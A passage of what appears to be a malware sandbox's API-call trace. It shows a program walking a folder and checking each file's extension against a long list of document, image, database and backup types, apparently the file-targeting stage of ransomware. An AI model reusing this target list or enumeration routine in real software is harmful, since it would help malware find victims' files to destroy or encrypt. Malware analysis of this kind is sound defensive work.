(lpString=".php") returned 4 [0097.383] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0097.383] lstrlenW (lpString=".php3") returned 5 [0097.383] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0097.383] lstrlenW (lpString=".php4") returned 5 [0097.383] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0097.383] lstrlenW (lpString=".php5") returned 5 [0097.383] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0097.383] lstrlenW (lpString=".phtml") returned 6 [0097.383] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0097.383] lstrlenW (lpString=".pict") returned 5 [0097.383] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0097.383] lstrlenW (lpString=".pl") returned 3 [0097.383] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0097.383] lstrlenW (lpString=".pls") returned 4 [0097.383] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0097.383] lstrlenW (lpString=".pm") returned 3 [0097.383] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0097.383] lstrlenW (lpString=".png") returned 4 [0097.383] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0097.383] lstrlenW (lpString=".pnm") returned 4 [0097.383] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0097.383] lstrlenW (lpString=".pot") returned 4 [0097.383] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0097.383] lstrlenW (lpString=".potm") returned 5 [0097.383] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0097.383] lstrlenW (lpString=".potx") returned 5 [0097.383] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0097.384] lstrlenW (lpString=".ppa") returned 4 [0097.384] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0097.384] lstrlenW (lpString=".ppam") returned 5 [0097.384] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0097.384] lstrlenW (lpString=".ppm") returned 4 [0097.384] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0097.384] lstrlenW (lpString=".pps") returned 4 [0097.384] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0097.384] lstrlenW (lpString=".ppsm") returned 5 [0097.384] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0097.384] lstrlenW (lpString=".ppt") returned 4 [0097.384] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.384] lstrlenW (lpString=".pptm") returned 5 [0097.384] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0097.384] lstrlenW (lpString=".pptx") returned 5 [0097.384] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0097.384] lstrlenW (lpString=".prn") returned 4 [0097.384] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0097.384] lstrlenW (lpString=".ps") returned 3 [0097.384] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0097.384] lstrlenW (lpString=".psb") returned 4 [0097.384] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0097.384] lstrlenW (lpString=".psd") returned 4 [0097.384] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0097.384] lstrlenW (lpString=".pst") returned 4 [0097.384] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0097.384] lstrlenW (lpString=".ptx") returned 4 [0097.384] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0097.384] lstrlenW (lpString=".pub") returned 4 [0097.385] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0097.385] lstrlenW (lpString=".pwm") returned 4 [0097.385] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0097.385] lstrlenW (lpString=".pxr") returned 4 [0097.385] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0097.385] lstrlenW (lpString=".py") returned 3 [0097.385] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0097.385] lstrlenW (lpString=".qt") returned 3 [0097.385] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0097.385] lstrlenW (lpString=".r3d") returned 4 [0097.385] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0097.385] lstrlenW (lpString=".raf") returned 4 [0097.385] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0097.385] lstrlenW (lpString=".rar") returned 4 [0097.385] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0097.385] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0097.385] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0097.386] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0097.386] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0097.386] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0097.386] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0097.386] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0097.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037") returned 26 [0097.386] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0097.386] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.386] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0097.387] lstrlenW (lpString="eula.rtf") returned 8 [0097.387] lstrlenW (lpString=".1cd") returned 4 [0097.387] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0097.387] lstrlenW (lpString=".3ds") returned 4 [0097.387] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0097.387] lstrlenW (lpString=".3fr") returned 4 [0097.387] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0097.387] lstrlenW (lpString=".3g2") returned 4 [0097.387] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0097.387] lstrlenW (lpString=".3gp") returned 4 [0097.387] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0097.387] lstrlenW (lpString=".7z") returned 3 [0097.387] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0097.387] lstrlenW (lpString=".accda") returned 6 [0097.387] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0097.387] lstrlenW (lpString=".accdb") returned 6 [0097.387] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0097.387] lstrlenW (lpString=".accdc") returned 6 [0097.387] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0097.387] lstrlenW (lpString=".accde") returned 6 [0097.387] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0097.387] lstrlenW (lpString=".accdt") returned 6 [0097.387] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0097.387] lstrlenW (lpString=".accdw") returned 6 [0097.387] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0097.388] lstrlenW (lpString=".adb") returned 4 [0097.388] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0097.388] lstrlenW (lpString=".adp") returned 4 [0097.388] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0097.388] lstrlenW (lpString=".ai") returned 3 [0097.388] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0097.388] lstrlenW (lpString=".ai3") returned 4 [0097.388] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0097.388] lstrlenW (lpString=".ai4") returned 4 [0097.388] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0097.388] lstrlenW (lpString=".ai5") returned 4 [0097.388] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0097.388] lstrlenW (lpString=".ai6") returned 4 [0097.388] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0097.388] lstrlenW (lpString=".ai7") returned 4 [0097.388] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0097.388] lstrlenW (lpString=".ai8") returned 4 [0097.388] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0097.388] lstrlenW (lpString=".anim") returned 5 [0097.388] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0097.388] lstrlenW (lpString=".arw") returned 4 [0097.388] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0097.388] lstrlenW (lpString=".as") returned 3 [0097.388] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0097.388] lstrlenW (lpString=".asa") returned 4 [0097.388] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0097.388] lstrlenW (lpString=".asc") returned 4 [0097.388] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0097.388] lstrlenW (lpString=".ascx") returned 5 [0097.389] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0097.389] lstrlenW (lpString=".asm") returned 4 [0097.389] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0097.389] lstrlenW (lpString=".asmx") returned 5 [0097.389] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0097.389] lstrlenW (lpString=".asp") returned 4 [0097.389] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0097.389] lstrlenW (lpString=".aspx") returned 5 [0097.389] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0097.389] lstrlenW (lpString=".asr") returned 4 [0097.389] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0097.389] lstrlenW (lpString=".asx") returned 4 [0097.389] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0097.389] lstrlenW (lpString=".avi") returned 4 [0097.389] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0097.389] lstrlenW (lpString=".avs") returned 4 [0097.389] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0097.389] lstrlenW (lpString=".backup") returned 7 [0097.389] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0097.389] lstrlenW (lpString=".bak") returned 4 [0097.389] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0097.389] lstrlenW (lpString=".bay") returned 4 [0097.389] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0097.389] lstrlenW (lpString=".bd") returned 3 [0097.389] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0097.389] lstrlenW (lpString=".bin") returned 4 [0097.389] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0097.389] lstrlenW (lpString=".bmp") returned 4 [0097.389] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0097.390] lstrlenW (lpString=".bz2") returned 4 [0097.390] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0097.390] lstrlenW (lpString=".c") returned 2 [0097.390] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0097.390] lstrlenW (lpString=".cdr") returned 4 [0097.390] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0097.390] lstrlenW (lpString=".cer") returned 4 [0097.390] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0097.390] lstrlenW (lpString=".cf") returned 3 [0097.390] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0097.390] lstrlenW (lpString=".cfc") returned 4 [0097.390] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0097.390] lstrlenW (lpString=".cfm") returned 4 [0097.390] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0097.390] lstrlenW (lpString=".cfml") returned 5 [0097.390] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0097.390] lstrlenW (lpString=".cfu") returned 4 [0097.390] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0097.390] lstrlenW (lpString=".chm") returned 4 [0097.390] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0097.390] lstrlenW (lpString=".cin") returned 4 [0097.390] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0097.390] lstrlenW (lpString=".class") returned 6 [0097.390] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0097.390] lstrlenW (lpString=".clx") returned 4 [0097.390] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0097.390] lstrlenW (lpString=".config") returned 7 [0097.390] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0097.390] lstrlenW (lpString=".cpp") returned 4 [0097.391] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0097.391] lstrlenW (lpString=".cr2") returned 4 [0097.391] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0097.391] lstrlenW (lpString=".crt") returned 4 [0097.391] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0097.391] lstrlenW (lpString=".crw") returned 4 [0097.391] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0097.391] lstrlenW (lpString=".cs") returned 3 [0097.391] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0097.391] lstrlenW (lpString=".css") returned 4 [0097.391] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0097.391] lstrlenW (lpString=".csv") returned 4 [0097.391] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0097.391] lstrlenW (lpString=".cub") returned 4 [0097.391] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0097.391] lstrlenW (lpString=".dae") returned 4 [0097.391] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0097.391] lstrlenW (lpString=".dat") returned 4 [0097.391] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0097.391] lstrlenW (lpString=".db") returned 3 [0097.391] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0097.391] lstrlenW (lpString=".dbf") returned 4 [0097.391] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0097.391] lstrlenW (lpString=".dbx") returned 4 [0097.391] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0097.391] lstrlenW (lpString=".dc3") returned 4 [0097.391] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0097.391] lstrlenW (lpString=".dcm") returned 4 [0097.391] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0097.392] lstrlenW (lpString=".dcr") returned 4 [0097.392] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0097.392] lstrlenW (lpString=".der") returned 4 [0097.392] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0097.392] lstrlenW (lpString=".dib") returned 4 [0097.392] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0097.392] lstrlenW (lpString=".dic") returned 4 [0097.392] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0097.392] lstrlenW (lpString=".dif") returned 4 [0097.392] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0097.392] lstrlenW (lpString=".divx") returned 5 [0097.392] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0097.392] lstrlenW (lpString=".djvu") returned 5 [0097.392] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0097.392] lstrlenW (lpString=".dng") returned 4 [0097.392] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0097.392] lstrlenW (lpString=".doc") returned 4 [0097.392] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0097.393] lstrlenW (lpString=".docm") returned 5 [0097.393] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0097.393] lstrlenW (lpString=".docx") returned 5 [0097.393] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0097.393] lstrlenW (lpString=".dot") returned 4 [0097.393] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0097.393] lstrlenW (lpString=".dotm") returned 5 [0097.393] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0097.393] lstrlenW (lpString=".dotx") returned 5 [0097.393] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0097.393] lstrlenW (lpString=".dpx") returned 4 [0097.393] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0097.393] lstrlenW (lpString=".dqy") returned 4 [0097.393] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0097.393] lstrlenW (lpString=".dsn") returned 4 [0097.393] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0097.393] lstrlenW (lpString=".dt") returned 3 [0097.393] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0097.393] lstrlenW (lpString=".dtd") returned 4 [0097.393] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0097.393] lstrlenW (lpString=".dwg") returned 4 [0097.393] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0097.393] lstrlenW (lpString=".dwt") returned 4 [0097.393] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0097.393] lstrlenW (lpString=".dx") returned 3 [0097.393] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0097.393] lstrlenW (lpString=".dxf") returned 4 [0097.393] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0097.393] lstrlenW (lpString=".edml") returned 5 [0097.394] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0097.394] lstrlenW (lpString=".efd") returned 4 [0097.394] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0097.394] lstrlenW (lpString=".elf") returned 4 [0097.394] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0097.394] lstrlenW (lpString=".emf") returned 4 [0097.394] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0097.394] lstrlenW (lpString=".emz") returned 4 [0097.394] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0097.394] lstrlenW (lpString=".epf") returned 4 [0097.394] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0097.394] lstrlenW (lpString=".eps") returned 4 [0097.394] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0097.394] lstrlenW (lpString=".epsf") returned 5 [0097.394] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0097.394] lstrlenW (lpString=".epsp") returned 5 [0097.394] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0097.394] lstrlenW (lpString=".erf") returned 4 [0097.394] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0097.394] lstrlenW (lpString=".exr") returned 4 [0097.394] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0097.394] lstrlenW (lpString=".f4v") returned 4 [0097.394] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0097.394] lstrlenW (lpString=".fido") returned 5 [0097.394] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0097.394] lstrlenW (lpString=".flm") returned 4 [0097.394] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0097.394] lstrlenW (lpString=".flv") returned 4 [0097.394] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0097.395] lstrlenW (lpString=".frm") returned 4 [0097.395] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0097.395] lstrlenW (lpString=".fxg") returned 4 [0097.395] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0097.395] lstrlenW (lpString=".geo") returned 4 [0097.395] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0097.395] lstrlenW (lpString=".gif") returned 4 [0097.395] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0097.395] lstrlenW (lpString=".grs") returned 4 [0097.395] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0097.395] lstrlenW (lpString=".gz") returned 3 [0097.395] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0097.395] lstrlenW (lpString=".h") returned 2 [0097.395] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0097.395] lstrlenW (lpString=".hdr") returned 4 [0097.395] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0097.395] lstrlenW (lpString=".hpp") returned 4 [0097.395] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0097.395] lstrlenW (lpString=".hta") returned 4 [0097.395] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0097.395] lstrlenW (lpString=".htc") returned 4 [0097.395] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0097.395] lstrlenW (lpString=".htm") returned 4 [0097.395] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0097.395] lstrlenW (lpString=".html") returned 5 [0097.395] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0097.395] lstrlenW (lpString=".icb") returned 4 [0097.395] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0097.396] lstrlenW (lpString=".ics") returned 4 [0097.396] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0097.396] lstrlenW (lpString=".iff") returned 4 [0097.396] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0097.396] lstrlenW (lpString=".inc") returned 4 [0097.396] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0097.396] lstrlenW (lpString=".indd") returned 5 [0097.396] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0097.396] lstrlenW (lpString=".ini") returned 4 [0097.396] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0097.396] lstrlenW (lpString=".iqy") returned 4 [0097.396] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0097.396] lstrlenW (lpString=".j2c") returned 4 [0097.396] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0097.396] lstrlenW (lpString=".j2k") returned 4 [0097.396] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0097.396] lstrlenW (lpString=".java") returned 5 [0097.396] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0097.396] lstrlenW (lpString=".jp2") returned 4 [0097.396] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0097.396] lstrlenW (lpString=".jpc") returned 4 [0097.396] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0097.396] lstrlenW (lpString=".jpe") returned 4 [0097.396] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0097.396] lstrlenW (lpString=".jpeg") returned 5 [0097.396] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0097.396] lstrlenW (lpString=".jpf") returned 4 [0097.396] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0097.396] lstrlenW (lpString=".jpg") returned 4 [0097.396] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.397] lstrlenW (lpString=".jpx") returned 4 [0097.397] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0097.397] lstrlenW (lpString=".js") returned 3 [0097.397] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0097.397] lstrlenW (lpString=".jsf") returned 4 [0097.397] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0097.397] lstrlenW (lpString=".json") returned 5 [0097.397] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0097.397] lstrlenW (lpString=".jsp") returned 4 [0097.397] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0097.397] lstrlenW (lpString=".kdc") returned 4 [0097.397] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0097.397] lstrlenW (lpString=".kmz") returned 4 [0097.397] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0097.397] lstrlenW (lpString=".kwm") returned 4 [0097.397] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0097.397] lstrlenW (lpString=".lasso") returned 6 [0097.397] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0097.397] lstrlenW (lpString=".lbi") returned 4 [0097.397] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0097.397] lstrlenW (lpString=".lgf") returned 4 [0097.397] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0097.397] lstrlenW (lpString=".lgp") returned 4 [0097.397] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0097.397] lstrlenW (lpString=".log") returned 4 [0097.397] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0097.397] lstrlenW (lpString=".m1v") returned 4 [0097.397] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".m4a") returned 4 [0097.398] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".m4v") returned 4 [0097.398] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0097.398] lstrlenW (lpString=".max") returned 4 [0097.398] lstrcmpiW (lpString1=".max", 